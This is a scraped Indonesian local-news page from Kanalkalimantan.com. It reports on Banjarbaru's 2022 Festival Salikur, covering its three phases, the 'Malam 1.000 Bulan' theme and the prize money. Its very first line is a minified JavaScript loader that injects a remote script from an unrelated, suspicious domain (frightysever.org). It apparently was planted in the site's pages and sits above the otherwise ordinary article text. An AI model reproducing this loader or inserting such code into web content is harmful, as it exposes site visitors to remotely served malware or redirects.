(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru kembali menggelar Festival Salikur dalam menyambut bulan Ramadhan dan Hari raya Idul Fitri 1443 Hijriyah. Berbeda dengan tahun sebelumnya, Festival Salikur tahun ini akan dimulai sejak awal Ramadhan atau April mendatang.
“Iya. Permintaan Pak Wali, festival sudah dimulai sejak 1 Ramadhan. Walaupun puncaknya, tetap akan dilangsungkan pada malam-malam salikur atau 10 hari terakhir Ramadhan,” terang Khairil Anwar, Wakil Koordinator Tanglong & Lampion Festival Salikur Banjarbaru, usai rapat bersama Kadispora dan jajaran panitia, Selasa (8/3/2022).
Dijelaskan Khairil, berdasar rapat panitia, Festival Salikur Banjarbaru tahun 2022 ini akan dibagi tiga fase. Pada fase pertama, para peserta diminta membuat Gapura atau Pintu Gerbang “Marhaban yaa Ramadhan” di lingkungan masing-masing. Gapura tersebut sudah harus jadi dan berdiri sejak 1 Ramadhan 1443 H.
Selanjutnya fase kedua, para peserta diminta menghias lingkungan tempat tinggal mereka dengan lampion-lampion. Fase kedua ini dimulai sejak malam ke 11 bulan Ramadhan. Dan terakhir, fase ketiga, peserta diminta membuat tanglong dan menggalakkan giat ibadah 10 malam terakhir. Fase ketiga ini dimulai sejak malam 21 Ramadhan.
“Jadi, kegiatannya full satu bulan,” tukas Khairil.
Baca juga : Bupati Kapuas Lantik 20 Pejabat Administrator dan Pengawas
Ketua Panitia, HE Benyamin menambahkan, Festival Salikur tahun ini mengusung tema “Malam 1.000 Bulan”. Oleh karena itu, seniman sekaligus budayawan yang akrab disapa Bang Ben tersebut, mengingatkan peserta untuk tidak lari dari tema tersebut.
“Lebih detail akan kami jelaskan pada Technical Meeting, 20 Sya’ban nanti. Kami juga akan segera membuatkan edaran kegiatan, karena pendaftaran sudah akan kami buka mulai 10 Sya’ban atau 14 Maret 2022 nanti,” ujar Bang Ben, didampingi Sekretaris Panitia, Gusti Adam Maulana.
Sementara itu, kabar sangat menggembirakan disampaikan Kadispora Banjarbaru, Ahmad Yani Makkie, bahwa hadiah untuk peserta Festival Salikur tahun ini, sesuai janji Wali Kota Banjarbaru, lebih besar dibanding tahun sebelumnya. Peraih gelar terbaik 1, akan diganjar hadiah uang tunai Rp 10 juta. Sementara terbaik 2 dan 3, masing-masing akan mendapat uang tunai Rp 6 juta dan Rp 5 juta.
“Di samping itu, kami juga tetap menyediakan gelar The Best Top Ten (10 terbaik) dan gelar 10 Favorit. Tentunya ini akan menjadi motivasi yang sangat besar. Kami juga tetap menghadirkan lomba fotografi. Kami yakin, peserta tahun ini akan lebih membludak dari tahun sebelumnya. Jadi, jangan sampai ketinggalan,” tandas Yni Makkie. (Kanalkalimantan.com/al)
Reporter : al
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More
This website uses cookies.